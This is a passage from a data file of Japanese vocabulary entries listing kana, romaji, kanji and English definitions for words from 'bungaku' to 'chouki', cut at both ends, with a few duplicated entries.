literature;belles-lettres\"\n\t},\n\n\t{\n\t\t'kana':'ぶんご',\n\t\t'romaji':'bungo',\n\t\t'kanji':'文語',\n\t\t'definition':\"written language;literary language\"\n\t},\n\n\t{\n\t\t'kana':'ぶんぎょう',\n\t\t'romaji':'bungyou',\n\t\t'kanji':'分業',\n\t\t'definition':\"division of labor;specialization;assembly-line production\"\n\t},\n\n\t{\n\t\t'kana':'ぶんか',\n\t\t'romaji':'bunka',\n\t\t'kanji':'文化',\n\t\t'definition':\"culture;civilization\"\n\t},\n\n\t{\n\t\t'kana':'ぶんかい',\n\t\t'romaji':'bunkai',\n\t\t'kanji':'分解',\n\t\t'definition':\"analysis;disassembly\"\n\t},\n\n\t{\n\t\t'kana':'ぶんかざい',\n\t\t'romaji':'bunkazai',\n\t\t'kanji':'文化財',\n\t\t'definition':\"cultural assets;cultural property\"\n\t},\n\n\t{\n\t\t'kana':'ぶんけん',\n\t\t'romaji':'bunken',\n\t\t'kanji':'文献',\n\t\t'definition':\"literature;books (reference)\"\n\t},\n\n\t{\n\t\t'kana':'ぶんめい',\n\t\t'romaji':'bunmei',\n\t\t'kanji':'文明',\n\t\t'definition':\"civilization;culture\"\n\t},\n\n\t{\n\t\t'kana':'ぶんみゃく',\n\t\t'romaji':'bunmyaku',\n\t\t'kanji':'文脈',\n\t\t'definition':\"context\"\n\t},\n\n\t{\n\t\t'kana':'ぶんぱい',\n\t\t'romaji':'bunpai',\n\t\t'kanji':'分配',\n\t\t'definition':\"division;sharing\"\n\t},\n\n\t{\n\t\t'kana':'ぶんぽう',\n\t\t'romaji':'bunpou',\n\t\t'kanji':'文法',\n\t\t'definition':\"grammar\"\n\t},\n\n\t{\n\t\t'kana':'ぶんぷ',\n\t\t'romaji':'bunpu',\n\t\t'kanji':'分布',\n\t\t'definition':\"distribution\"\n\t},\n\n\t{\n\t\t'kana':'ぶんれつ',\n\t\t'romaji':'bunretsu',\n\t\t'kanji':'分裂',\n\t\t'definition':\"split;division;break up\"\n\t},\n\n\t{\n\t\t'kana':'ぶんり',\n\t\t'romaji':'bunri',\n\t\t'kanji':'分離',\n\t\t'definition':\"separation;detachment;segregation;isolation\"\n\t},\n\n\t{\n\t\t'kana':'ぶんるい',\n\t\t'romaji':'bunrui',\n\t\t'kanji':'分類',\n\t\t'definition':\"classification\"\n\t},\n\n\t{\n\t\t'kana':'ぶんりょう',\n\t\t'romaji':'bunryou',\n\t\t'kanji':'分量',\n\t\t'definition':\"amount;quantity\"\n\t},\n\n\t{\n\t\t'kana':'ぶんさん',\n\t\t'romaji':'bunsan',\n\t\t'kanji':'分散',\n\t\t'definition':\"dispersion;decentralization;variance (statistics)\"\n\t},\n\n\t{\n\t\t'kana':'ぶんせき',\n\t\t'romaji':'bunseki',\n\t\t'kanji':'分析',\n\t\t'definition':\"analysis\"\n\t},\n\n\t{\n\t\t'kana':'ぶんし',\n\t\t'romaji':'bunshi',\n\t\t'kanji':'分子',\n\t\t'definition':\"numerator;molecule\"\n\t},\n\n\t{\n\t\t'kana':'ぶんしょ',\n\t\t'romaji':'bunsho',\n\t\t'kanji':'文書',\n\t\t'definition':\"document;writing;letter;note;records;archives\"\n\t},\n\n\t{\n\t\t'kana':'ぶんしょう',\n\t\t'romaji':'bunshou',\n\t\t'kanji':'文章',\n\t\t'definition':\"sentence;article\"\n\t},\n\n\t{\n\t\t'kana':'ぶんすう',\n\t\t'romaji':'bunsuu',\n\t\t'kanji':'分数',\n\t\t'definition':\"fraction (in math)\"\n\t},\n\n\t{\n\t\t'kana':'ぶんたい',\n\t\t'romaji':'buntai',\n\t\t'kanji':'文体',\n\t\t'definition':\"literary style\"\n\t},\n\n\t{\n\t\t'kana':'ぶんたん',\n\t\t'romaji':'buntan',\n\t\t'kanji':'分担',\n\t\t'definition':\"apportionment;sharing\"\n\t},\n\n\t{\n\t\t'kana':'ぶんや',\n\t\t'romaji':'bunya',\n\t\t'kanji':'分野',\n\t\t'definition':\"field;sphere;realm;division;branch\"\n\t},\n\n\t{\n\t\t'kana':'ぶらぶら',\n\t\t'romaji':'burabura',\n\t\t'kanji':'',\n\t\t'definition':\"dangle heavily;swing;sway to and fro;aimlessly;idly;lazily;loiter;loaf;be idle;stroll idly\"\n\t},\n\n\t{\n\t\t'kana':'ぶらさげる',\n\t\t'romaji':'burasageru',\n\t\t'kanji':'ぶら下げる',\n\t\t'definition':\"to hang;to suspend;to dangle;to swing\"\n\t},\n\n\t{\n\t\t'kana':'ブラシ',\n\t\t'romaji':'burashi',\n\t\t'kanji':'',\n\t\t'definition':\"brushy;brush\"\n\t},\n\n\t{\n\t\t'kana':'ブラウス',\n\t\t'romaji':'burausu',\n\t\t'kanji':'',\n\t\t'definition':\"blouse\"\n\t},\n\n\t{\n\t\t'kana':'ぶれい',\n\t\t'romaji':'burei',\n\t\t'kanji':'無礼',\n\t\t'definition':\"impolite;rude\"\n\t},\n\n\t{\n\t\t'kana':'ブレーキ',\n\t\t'romaji':'bure-ki',\n\t\t'kanji':'',\n\t\t'definition':\"a brake\"\n\t},\n\n\t{\n\t\t'kana':'ブローチ',\n\t\t'romaji':'buro-chi',\n\t\t'kanji':'',\n\t\t'definition':\"brooch\"\n\t},\n\n\t{\n\t\t'kana':'ブルー',\n\t\t'romaji':'buru-',\n\t\t'kanji':'',\n\t\t'definition':\"blue\"\n\t},\n\n\t{\n\t\t'kana':'ぶりょく',\n\t\t'romaji':'buryoku',\n\t\t'kanji':'武力',\n\t\t'definition':\"armed might;military power;the sword;force\"\n\t},\n\n\t{\n\t\t'kana':'ぶさた',\n\t\t'romaji':'busata',\n\t\t'kanji':'無沙汰',\n\t\t'definition':\"neglecting to stay in contact\"\n\t},\n\n\t{\n\t\t'kana':'ぶっし',\n\t\t'romaji':'bushi',\n\t\t'kanji':'物資',\n\t\t'definition':\"goods;materials\"\n\t},\n\n\t{\n\t\t'kana':'ぶし',\n\t\t'romaji':'bushi',\n\t\t'kanji':'武士',\n\t\t'definition':\"warrior;samurai\"\n\t},\n\n\t{\n\t\t'kana':'ぶしゅ',\n\t\t'romaji':'bushu',\n\t\t'kanji':'部首',\n\t\t'definition':\"radical (of a kanji character)\"\n\t},\n\n\t{\n\t\t'kana':'ぶそう',\n\t\t'romaji':'busou',\n\t\t'kanji':'武装',\n\t\t'definition':\"arms;armament;armed\"\n\t},\n\n\t{\n\t\t'kana':'ぶっしつ',\n\t\t'romaji':'busshitsu',\n\t\t'kanji':'物質',\n\t\t'definition':\"material;substance\"\n\t},\n\n\t{\n\t\t'kana':'ぶっそう',\n\t\t'romaji':'bussou',\n\t\t'kanji':'物騒',\n\t\t'definition':\"dangerous;disturbed;insecure\"\n\t},\n\n\t{\n\t\t'kana':'ぶたい',\n\t\t'romaji':'butai',\n\t\t'kanji':'舞台',\n\t\t'definition':\"stage (theatre)\"\n\t},\n\n\t{\n\t\t'kana':'ぶつ',\n\t\t'romaji':'butsu',\n\t\t'kanji':'打つ',\n\t\t'definition':\"to hit;to strike\"\n\t},\n\n\t{\n\t\t'kana':'ブーツ',\n\t\t'romaji':'bu-tsu',\n\t\t'kanji':'',\n\t\t'definition':\"boots\"\n\t},\n\n\t{\n\t\t'kana':'ぶつぶつ',\n\t\t'romaji':'butsubutsu',\n\t\t'kanji':'',\n\t\t'definition':\"grumbling;complaining in a small voice\"\n\t},\n\n\t{\n\t\t'kana':'ぶつぎ',\n\t\t'romaji':'butsugi',\n\t\t'kanji':'物議',\n\t\t'definition':\"public discussion (criticism)\"\n\t},\n\n\t{\n\t\t'kana':'ぶつかる',\n\t\t'romaji':'butsukaru',\n\t\t'kanji':'',\n\t\t'definition':\"to strike;to collide with\"\n\t},\n\n\t{\n\t\t'kana':'ぶつける',\n\t\t'romaji':'butsukeru',\n\t\t'kanji':'打付ける',\n\t\t'definition':\"to knock;to run into;to nail on;to strike hard;to hit and attack\"\n\t},\n\n\t{\n\t\t'kana':'ぶつり',\n\t\t'romaji':'butsuri',\n\t\t'kanji':'物理',\n\t\t'definition':\"physics\"\n\t},\n\n\t{\n\t\t'kana':'ぶつぞう',\n\t\t'romaji':'butsuzou',\n\t\t'kanji':'仏像',\n\t\t'definition':\"Buddhist image (statue)\"\n\t},\n\n\t{\n\t\t'kana':'ぶったい',\n\t\t'romaji':'buttai',\n\t\t'kanji':'物体',\n\t\t'definition':\"body;object\"\n\t},\n\n\t{\n\t\t'kana':'ブザー',\n\t\t'romaji':'buza-',\n\t\t'kanji':'',\n\t\t'definition':\"buzzer\"\n\t},\n\n\t{\n\t\t'kana':'びょう',\n\t\t'romaji':'byou',\n\t\t'kanji':'秒',\n\t\t'definition':\"second (60th min)\"\n\t},\n\n\t{\n\t\t'kana':'びょうどう',\n\t\t'romaji':'byoudou',\n\t\t'kanji':'平等',\n\t\t'definition':\"equality (a);impartiality;evenness\"\n\t},\n\n\t{\n\t\t'kana':'びょういん',\n\t\t'romaji':'byouin',\n\t\t'kanji':'病院',\n\t\t'definition':\"hospital\"\n\t},\n\n\t{\n\t\t'kana':'びょうき',\n\t\t'romaji':'byouki',\n\t\t'kanji':'病気',\n\t\t'definition':\"illness;disease;sickness\"\n\t},\n\n\t{\n\t\t'kana':'びょうしゃ',\n\t\t'romaji':'byousha',\n\t\t'kanji':'描写',\n\t\t'definition':\"depiction;description;portrayal\"\n\t},\n\n\t{\n\t\t'kana':'ちゃ',\n\t\t'romaji':'cha',\n\t\t'kanji':'茶',\n\t\t'definition':\"tea\"\n\t},\n\n\t{\n\t\t'kana':'ちゃいろ',\n\t\t'romaji':'chairo',\n\t\t'kanji':'茶色',\n\t\t'definition':\"light brown;tawny\"\n\t},\n\n\t{\n\t\t'kana':'ちゃっこう',\n\t\t'romaji':'chakkou',\n\t\t'kanji':'着工',\n\t\t'definition':\"start of (construction) work\"\n\t},\n\n\t{\n\t\t'kana':'ちゃく',\n\t\t'romaji':'chaku',\n\t\t'kanji':'着',\n\t\t'definition':\"counter for suits of clothing;arriving at ..\"\n\t},\n\n\t{\n\t\t'kana':'ちゃく',\n\t\t'romaji':'chaku',\n\t\t'kanji':'着',\n\t\t'definition':\"counter for suits of clothing;arriving at ..\"\n\t},\n\n\t{\n\t\t'kana':'ちゃく',\n\t\t'romaji':'chaku',\n\t\t'kanji':'著',\n\t\t'definition':\"counter for suits of clothing;arriving at ..\"\n\t},\n\n\t{\n\t\t'kana':'ちゃくちゃく',\n\t\t'romaji':'chakuchaku',\n\t\t'kanji':'着々',\n\t\t'definition':\"steadily\"\n\t},\n\n\t{\n\t\t'kana':'ちゃくもく',\n\t\t'romaji':'chakumoku',\n\t\t'kanji':'着目',\n\t\t'definition':\"attention\"\n\t},\n\n\t{\n\t\t'kana':'ちゃくりく',\n\t\t'romaji':'chakuriku',\n\t\t'kanji':'着陸',\n\t\t'definition':\"landing;alighting;touch down\"\n\t},\n\n\t{\n\t\t'kana':'ちゃくせき',\n\t\t'romaji':'chakuseki',\n\t\t'kanji':'着席',\n\t\t'definition':\"sit down;seat\"\n\t},\n\n\t{\n\t\t'kana':'ちゃくしょく',\n\t\t'romaji':'chakushoku',\n\t\t'kanji':'着色',\n\t\t'definition':\"colouring;coloring\"\n\t},\n\n\t{\n\t\t'kana':'ちゃくしゅ',\n\t\t'romaji':'chakushu',\n\t\t'kanji':'着手',\n\t\t'definition':\"embarkation;launch\"\n\t},\n\n\t{\n\t\t'kana':'ちゃん',\n\t\t'romaji':'chan',\n\t\t'kanji':'',\n\t\t'definition':\"suffix for familiar (female) person\"\n\t},\n\n\t{\n\t\t'kana':'ちゃのま',\n\t\t'romaji':'chanoma',\n\t\t'kanji':'茶の間',\n\t\t'definition':\"living room (Japanese style)\"\n\t},\n\n\t{\n\t\t'kana':'ちゃのゆ',\n\t\t'romaji':'chanoyu',\n\t\t'kanji':'茶の湯',\n\t\t'definition':\"tea ceremony\"\n\t},\n\n\t{\n\t\t'kana':'ちゃんと',\n\t\t'romaji':'chanto',\n\t\t'kanji':'',\n\t\t'definition':\"perfectly;properly;exactly\"\n\t},\n\n\t{\n\t\t'kana':'ちゃわん',\n\t\t'romaji':'chawan',\n\t\t'kanji':'茶碗',\n\t\t'definition':\"rice bowl;tea cup;teacup\"\n\t},\n\n\t{\n\t\t'kana':'ち',\n\t\t'romaji':'chi',\n\t\t'kanji':'地',\n\t\t'definition':\"earth\"\n\t},\n\n\t{\n\t\t'kana':'ち',\n\t\t'romaji':'chi',\n\t\t'kanji':'血',\n\t\t'definition':\"blood;consanguinity\"\n\t},\n\n\t{\n\t\t'kana':'ちあん',\n\t\t'romaji':'chian',\n\t\t'kanji':'治安',\n\t\t'definition':\"public order\"\n\t},\n\n\t{\n\t\t'kana':'ちち',\n\t\t'romaji':'chichi',\n\t\t'kanji':'父',\n\t\t'definition':\"father\"\n\t},\n\n\t{\n\t\t'kana':'ちち',\n\t\t'romaji':'chichi',\n\t\t'kanji':'乳',\n\t\t'definition':\"milk;breast;loop\"\n\t},\n\n\t{\n\t\t'kana':'ちちはは',\n\t\t'romaji':'chichihaha',\n\t\t'kanji':'父母',\n\t\t'definition':\"father and mother;parents\"\n\t},\n\n\t{\n\t\t'kana':'ちちおや',\n\t\t'romaji':'chichioya',\n\t\t'kanji':'父親',\n\t\t'definition':\"father\"\n\t},\n\n\t{\n\t\t'kana':'ちぢまる',\n\t\t'romaji':'chidimaru',\n\t\t'kanji':'縮まる',\n\t\t'definition':\"to be shortened;to be contracted;to shrink\"\n\t},\n\n\t{\n\t\t'kana':'ちぢめる',\n\t\t'romaji':'chidimeru',\n\t\t'kanji':'縮める',\n\t\t'definition':\"to shorten;to reduce;to boil down;to shrink\"\n\t},\n\n\t{\n\t\t'kana':'ちぢむ',\n\t\t'romaji':'chidimu',\n\t\t'kanji':'縮む',\n\t\t'definition':\"to shrink;to be contracted\"\n\t},\n\n\t{\n\t\t'kana':'ちぢれる',\n\t\t'romaji':'chidireru',\n\t\t'kanji':'縮れる',\n\t\t'definition':\"to be wavy;to be curled\"\n\t},\n\n\t{\n\t\t'kana':'ちえ',\n\t\t'romaji':'chie',\n\t\t'kanji':'知恵',\n\t\t'definition':\"wisdom;wit;sagacity;sense;intelligence;advice\"\n\t},\n\n\t{\n\t\t'kana':'ちがえる',\n\t\t'romaji':'chigaeru',\n\t\t'kanji':'違える',\n\t\t'definition':\"to change\"\n\t},\n\n\t{\n\t\t'kana':'ちがい',\n\t\t'romaji':'chigai',\n\t\t'kanji':'違い',\n\t\t'definition':\"difference;discrepancy\"\n\t},\n\n\t{\n\t\t'kana':'ちがいない',\n\t\t'romaji':'chigainai',\n\t\t'kanji':'違いない',\n\t\t'definition':\"(phrase) sure;no mistaking it;for certain\"\n\t},\n\n\t{\n\t\t'kana':'ちがう',\n\t\t'romaji':'chigau',\n\t\t'kanji':'違う',\n\t\t'definition':\"to differ (from)\"\n\t},\n\n\t{\n\t\t'kana':'ちぎる',\n\t\t'romaji':'chigiru',\n\t\t'kanji':'契る',\n\t\t'definition':\"to pledge;to promise;to swear\"\n\t},\n\n\t{\n\t\t'kana':'ちへいせん',\n\t\t'romaji':'chiheisen',\n\t\t'kanji':'地平線',\n\t\t'definition':\"horizon\"\n\t},\n\n\t{\n\t\t'kana':'ちい',\n\t\t'romaji':'chii',\n\t\t'kanji':'地位',\n\t\t'definition':\"(social) position;status\"\n\t},\n\n\t{\n\t\t'kana':'ちいき',\n\t\t'romaji':'chiiki',\n\t\t'kanji':'地域',\n\t\t'definition':\"area;region\"\n\t},\n\n\t{\n\t\t'kana':'ちいさい',\n\t\t'romaji':'chiisai',\n\t\t'kanji':'小さい',\n\t\t'definition':\"small;little;tiny\"\n\t},\n\n\t{\n\t\t'kana':'ちじ',\n\t\t'romaji':'chiji',\n\t\t'kanji':'知事',\n\t\t'definition':\"prefectural governor\"\n\t},\n\n\t{\n\t\t'kana':'ちじん',\n\t\t'romaji':'chijin',\n\t\t'kanji':'知人',\n\t\t'definition':\"friend;acquaintance\"\n\t},\n\n\t{\n\t\t'kana':'ちか',\n\t\t'romaji':'chika',\n\t\t'kanji':'地下',\n\t\t'definition':\"basement;underground\"\n\t},\n\n\t{\n\t\t'kana':'ちかづける',\n\t\t'romaji':'chikadukeru',\n\t\t'kanji':'近付ける',\n\t\t'definition':\"to bring near;to put close;to let come near;to associate with\"\n\t},\n\n\t{\n\t\t'kana':'ちかづく',\n\t\t'romaji':'chikaduku',\n\t\t'kanji':'近付く',\n\t\t'definition':\"to approach;to get near;to get acquainted with;to get closer\"\n\t},\n\n\t{\n\t\t'kana':'ちかごろ',\n\t\t'romaji':'chikagoro',\n\t\t'kanji':'近頃',\n\t\t'definition':\"lately;recently;nowadays\"\n\t},\n\n\t{\n\t\t'kana':'ちかい',\n\t\t'romaji':'chikai',\n\t\t'kanji':'近い',\n\t\t'definition':\"near;close by;short\"\n\t},\n\n\t{\n\t\t'kana':'ちかく',\n\t\t'romaji':'chikaku',\n\t\t'kanji':'近く',\n\t\t'definition':\"near;neighbourhood;vicinity\"\n\t},\n\n\t{\n\t\t'kana':'ちから',\n\t\t'romaji':'chikara',\n\t\t'kanji':'力',\n\t\t'definition':\"force;strength;energy;might;power;agency;authority;influence;vigor;stress;emphasis;exertions;endeavors;efficacy;help;support;good offices;ability;faculty;capability;attainment;means;resources\"\n\t},\n\n\t{\n\t\t'kana':'ちから',\n\t\t'romaji':'chikara',\n\t\t'kanji':'力',\n\t\t'definition':\"force;strength;energy;might;power;agency;authority;influence;vigor;stress;emphasis;exertions;endeavors;efficacy;help;support;good offices;ability;faculty;capability;attainment;means;resources\"\n\t},\n\n\t{\n\t\t'kana':'ちからづよい',\n\t\t'romaji':'chikaraduyoi',\n\t\t'kanji':'力強い',\n\t\t'definition':\"reassuring;emboldened\"\n\t},\n\n\t{\n\t\t'kana':'ちかすい',\n\t\t'romaji':'chikasui',\n\t\t'kanji':'地下水',\n\t\t'definition':\"underground water\"\n\t},\n\n\t{\n\t\t'kana':'ちかてつ',\n\t\t'romaji':'chikatetsu',\n\t\t'kanji':'地下鉄',\n\t\t'definition':\"underground train;subway\"\n\t},\n\n\t{\n\t\t'kana':'ちかう',\n\t\t'romaji':'chikau',\n\t\t'kanji':'誓う',\n\t\t'definition':\"to swear;to vow;to take an oath;to pledge\"\n\t},\n\n\t{\n\t\t'kana':'ちかよる',\n\t\t'romaji':'chikayoru',\n\t\t'kanji':'近寄る',\n\t\t'definition':\"to approach;to draw near\"\n\t},\n\n\t{\n\t\t'kana':'ちこく',\n\t\t'romaji':'chikoku',\n\t\t'kanji':'遅刻',\n\t\t'definition':\"lateness;late coming\"\n\t},\n\n\t{\n\t\t'kana':'ちく',\n\t\t'romaji':'chiku',\n\t\t'kanji':'地区',\n\t\t'definition':\"district;section;sector\"\n\t},\n\n\t{\n\t\t'kana':'ちくさん',\n\t\t'romaji':'chikusan',\n\t\t'kanji':'畜産',\n\t\t'definition':\"animal husbandry\"\n\t},\n\n\t{\n\t\t'kana':'ちくせき',\n\t\t'romaji':'chikuseki',\n\t\t'kanji':'蓄積',\n\t\t'definition':\"accumulation;accumulate;store\"\n\t},\n\n\t{\n\t\t'kana':'ちくしょう',\n\t\t'romaji':'chikushou',\n\t\t'kanji':'畜生',\n\t\t'definition':\"beast;brute;damn\"\n\t},\n\n\t{\n\t\t'kana':'ちきゅう',\n\t\t'romaji':'chikyuu',\n\t\t'kanji':'地球',\n\t\t'definition':\"the earth\"\n\t},\n\n\t{\n\t\t'kana':'ちめい',\n\t\t'romaji':'chimei',\n\t\t'kanji':'地名',\n\t\t'definition':\"place name\"\n\t},\n\n\t{\n\t\t'kana':'チーム',\n\t\t'romaji':'chi-mu',\n\t\t'kanji':'',\n\t\t'definition':\"team\"\n\t},\n\n\t{\n\t\t'kana':'チームワーク',\n\t\t'romaji':'chi-muwa-ku',\n\t\t'kanji':'',\n\t\t'definition':\"teamwork\"\n\t},\n\n\t{\n\t\t'kana':'ちんぼつ',\n\t\t'romaji':'chinbotsu',\n\t\t'kanji':'沈没',\n\t\t'definition':\"sinking;foundering\"\n\t},\n\n\t{\n\t\t'kana':'ちんでん',\n\t\t'romaji':'chinden',\n\t\t'kanji':'沈殿',\n\t\t'definition':\"precipitation;settlement\"\n\t},\n\n\t{\n\t\t'kana':'ちんぎん',\n\t\t'romaji':'chingin',\n\t\t'kanji':'賃金',\n\t\t'definition':\"wages\"\n\t},\n\n\t{\n\t\t'kana':'ちんもく',\n\t\t'romaji':'chinmoku',\n\t\t'kanji':'沈黙',\n\t\t'definition':\"silence;reticence\"\n\t},\n\n\t{\n\t\t'kana':'ちのう',\n\t\t'romaji':'chinou',\n\t\t'kanji':'知能',\n\t\t'definition':\"brain\"\n\t},\n\n\t{\n\t\t'kana':'ちんれつ',\n\t\t'romaji':'chinretsu',\n\t\t'kanji':'陳列',\n\t\t'definition':\"exhibition;display;show\"\n\t},\n\n\t{\n\t\t'kana':'チップ',\n\t\t'romaji':'chipu',\n\t\t'kanji':'',\n\t\t'definition':\"1. gratuity;tip; 2. chip\"\n\t},\n\n\t{\n\t\t'kana':'ちらかる',\n\t\t'romaji':'chirakaru',\n\t\t'kanji':'散らかる',\n\t\t'definition':\"to be in disorder;to lie scattered around\"\n\t},\n\n\t{\n\t\t'kana':'ちらかす',\n\t\t'romaji':'chirakasu',\n\t\t'kanji':'散らかす',\n\t\t'definition':\"to scatter around;to leave untidy\"\n\t},\n\n\t{\n\t\t'kana':'ちらす',\n\t\t'romaji':'chirasu',\n\t\t'kanji':'散らす',\n\t\t'definition':\"to scatter;to disperse;to distribute\"\n\t},\n\n\t{\n\t\t'kana':'ちらっと',\n\t\t'romaji':'chirato',\n\t\t'kanji':'',\n\t\t'definition':\"at a glance;by accident\"\n\t},\n\n\t{\n\t\t'kana':'ちり',\n\t\t'romaji':'chiri',\n\t\t'kanji':'地理',\n\t\t'definition':\"geography\"\n\t},\n\n\t{\n\t\t'kana':'ちりがみ',\n\t\t'romaji':'chirigami',\n\t\t'kanji':'塵紙',\n\t\t'definition':\"tissue paper\"\n\t},\n\n\t{\n\t\t'kana':'ちりとり',\n\t\t'romaji':'chiritori',\n\t\t'kanji':'塵取り',\n\t\t'definition':\"dustpan\"\n\t},\n\n\t{\n\t\t'kana':'ちる',\n\t\t'romaji':'chiru',\n\t\t'kanji':'散る',\n\t\t'definition':\"to fall;to scatter (e.g. blossoms)\"\n\t},\n\n\t{\n\t\t'kana':'ちりょう',\n\t\t'romaji':'chiryou',\n\t\t'kanji':'治療',\n\t\t'definition':\"medical treatment\"\n\t},\n\n\t{\n\t\t'kana':'ちせい',\n\t\t'romaji':'chisei',\n\t\t'kanji':'知性',\n\t\t'definition':\"intelligence\"\n\t},\n\n\t{\n\t\t'kana':'ちしき',\n\t\t'romaji':'chishiki',\n\t\t'kanji':'知識',\n\t\t'definition':\"knowledge;information\"\n\t},\n\n\t{\n\t\t'kana':'ちしつ',\n\t\t'romaji':'chishitsu',\n\t\t'kanji':'地質',\n\t\t'definition':\"geological features\"\n\t},\n\n\t{\n\t\t'kana':'ちっそく',\n\t\t'romaji':'chissoku',\n\t\t'kanji':'窒息',\n\t\t'definition':\"suffocation\"\n\t},\n\n\t{\n\t\t'kana':'ちたい',\n\t\t'romaji':'chitai',\n\t\t'kanji':'地帯',\n\t\t'definition':\"area;zone\"\n\t},\n\n\t{\n\t\t'kana':'ちてき',\n\t\t'romaji':'chiteki',\n\t\t'kanji':'知的',\n\t\t'definition':\"intellectual\"\n\t},\n\n\t{\n\t\t'kana':'ちてん',\n\t\t'romaji':'chiten',\n\t\t'kanji':'地点',\n\t\t'definition':\"site;point on a map\"\n\t},\n\n\t{\n\t\t'kana':'ちつじょ',\n\t\t'romaji':'chitsujyo',\n\t\t'kanji':'秩序',\n\t\t'definition':\"order;regularity;system;method\"\n\t},\n\n\t{\n\t\t'kana':'ちっとも',\n\t\t'romaji':'chittomo',\n\t\t'kanji':'些とも',\n\t\t'definition':\"not at all (neg. verb)\"\n\t},\n\n\t{\n\t\t'kana':'ちやほや',\n\t\t'romaji':'chiyahoya',\n\t\t'kanji':'',\n\t\t'definition':\"pamper;make a fuss of;spoil\"\n\t},\n\n\t{\n\t\t'kana':'ちず',\n\t\t'romaji':'chizu',\n\t\t'kanji':'地図',\n\t\t'definition':\"map\"\n\t},\n\n\t{\n\t\t'kana':'チーズ',\n\t\t'romaji':'chi-zu',\n\t\t'kanji':'',\n\t\t'definition':\"cheese\"\n\t},\n\n\t{\n\t\t'kana':'ちょちく',\n\t\t'romaji':'chochiku',\n\t\t'kanji':'貯蓄',\n\t\t'definition':\"savings\"\n\t},\n\n\t{\n\t\t'kana':'ちょきん',\n\t\t'romaji':'chokin',\n\t\t'kanji':'貯金',\n\t\t'definition':\"(bank) savings\"\n\t},\n\n\t{\n\t\t'kana':'ちょっかく',\n\t\t'romaji':'chokkaku',\n\t\t'kanji':'直角',\n\t\t'definition':\"right angle\"\n\t},\n\n\t{\n\t\t'kana':'ちょっかん',\n\t\t'romaji':'chokkan',\n\t\t'kanji':'直感',\n\t\t'definition':\"intuition\"\n\t},\n\n\t{\n\t\t'kana':'ちょっけい',\n\t\t'romaji':'chokkei',\n\t\t'kanji':'直径',\n\t\t'definition':\"diameter\"\n\t},\n\n\t{\n\t\t'kana':'ちょくちょく',\n\t\t'romaji':'chokuchoku',\n\t\t'kanji':'',\n\t\t'definition':\"often;frequently;now and then;occasionally\"\n\t},\n\n\t{\n\t\t'kana':'ちょくご',\n\t\t'romaji':'chokugo',\n\t\t'kanji':'直後',\n\t\t'definition':\"immediately following\"\n\t},\n\n\t{\n\t\t'kana':'ちょくめん',\n\t\t'romaji':'chokumen',\n\t\t'kanji':'直面',\n\t\t'definition':\"confrontation\"\n\t},\n\n\t{\n\t\t'kana':'ちょくりゅう',\n\t\t'romaji':'chokuryuu',\n\t\t'kanji':'直流',\n\t\t'definition':\"direct current\"\n\t},\n\n\t{\n\t\t'kana':'ちょくせん',\n\t\t'romaji':'chokusen',\n\t\t'kanji':'直線',\n\t\t'definition':\"straight line\"\n\t},\n\n\t{\n\t\t'kana':'ちょくせつ',\n\t\t'romaji':'chokusetsu',\n\t\t'kanji':'直接',\n\t\t'definition':\"direct;immediate;personal;firsthand\"\n\t},\n\n\t{\n\t\t'kana':'ちょくつう',\n\t\t'romaji':'chokutsuu',\n\t\t'kanji':'直通',\n\t\t'definition':\"direct communication\"\n\t},\n\n\t{\n\t\t'kana':'ちょくぜん',\n\t\t'romaji':'chokuzen',\n\t\t'kanji':'直前',\n\t\t'definition':\"just before\"\n\t},\n\n\t{\n\t\t'kana':'ちょめい',\n\t\t'romaji':'chomei',\n\t\t'kanji':'著名',\n\t\t'definition':\"well-known;noted;celebrated\"\n\t},\n\n\t{\n\t\t'kana':'ちょしゃ',\n\t\t'romaji':'chosha',\n\t\t'kanji':'著者',\n\t\t'definition':\"author;writer\"\n\t},\n\n\t{\n\t\t'kana':'ちょしょ',\n\t\t'romaji':'chosho',\n\t\t'kanji':'著書',\n\t\t'definition':\"literary work;book\"\n\t},\n\n\t{\n\t\t'kana':'ちょっと',\n\t\t'romaji':'choto',\n\t\t'kanji':'一寸',\n\t\t'definition':\"(ateji) (adv int) (uk) just a minute;a short time;a while;just a little;somewhat;easily;readily;rather\"\n\t},\n\n\t{\n\t\t'kana':'ちょう',\n\t\t'romaji':'chou',\n\t\t'kanji':'庁',\n\t\t'definition':\"government office\"\n\t},\n\n\t{\n\t\t'kana':'ちょう',\n\t\t'romaji':'chou',\n\t\t'kanji':'超',\n\t\t'definition':\"super-;ultra-;hyper-\"\n\t},\n\n\t{\n\t\t'kana':'ちょう',\n\t\t'romaji':'chou',\n\t\t'kanji':'蝶',\n\t\t'definition':\"butterfly\"\n\t},\n\n\t{\n\t\t'kana':'ちょう',\n\t\t'romaji':'chou',\n\t\t'kanji':'腸',\n\t\t'definition':\"guts;bowels;intestines\"\n\t},\n\n\t{\n\t\t'kana':'ちょうだい',\n\t\t'romaji':'choudai',\n\t\t'kanji':'長大',\n\t\t'definition':\"very long;great length\"\n\t},\n\n\t{\n\t\t'kana':'ちょうど',\n\t\t'romaji':'choudo',\n\t\t'kanji':'恰度',\n\t\t'definition':\"just;right;exactly\"\n\t},\n\n\t{\n\t\t'kana':'ちょうへん',\n\t\t'romaji':'chouhen',\n\t\t'kanji':'長編',\n\t\t'definition':\"long (e.g. novel film)\"\n\t},\n\n\t{\n\t\t'kana':'ちょうほうけい',\n\t\t'romaji':'chouhoukei',\n\t\t'kanji':'長方形',\n\t\t'definition':\"rectangle;oblong\"\n\t},\n\n\t{\n\t\t'kana':'ちょういん',\n\t\t'romaji':'chouin',\n\t\t'kanji':'調印',\n\t\t'definition':\"signature;sign;sealing\"\n\t},\n\n\t{\n\t\t'kana':'ちょうじょ',\n\t\t'romaji':'choujyo',\n\t\t'kanji':'長女',\n\t\t'definition':\"eldest daughter\"\n\t},\n\n\t{\n\t\t'kana':'ちょうじょう',\n\t\t'romaji':'choujyou',\n\t\t'kanji':'頂上',\n\t\t'definition':\"top;summit;peak\"\n\t},\n\n\t{\n\t\t'kana':'ちょうか',\n\t\t'romaji':'chouka',\n\t\t'kanji':'超過',\n\t\t'definition':\"excess;being more than\"\n\t},\n\n\t{\n\t\t'kana':'ちょうかく',\n\t\t'romaji':'choukaku',\n\t\t'kanji':'聴覚',\n\t\t'definition':\"the sense of hearing\"\n\t},\n\n\t{\n\t\t'kana':'ちょうかん',\n\t\t'romaji':'choukan',\n\t\t'kanji':'長官',\n\t\t'definition':\"chief;(government) secretary\"\n\t},\n\n\t{\n\t\t'kana':'ちょうき',\n\t\t'romaji':'chouki',\n\t\t'kanji':'長期',\n\t\t'definition':\"long time 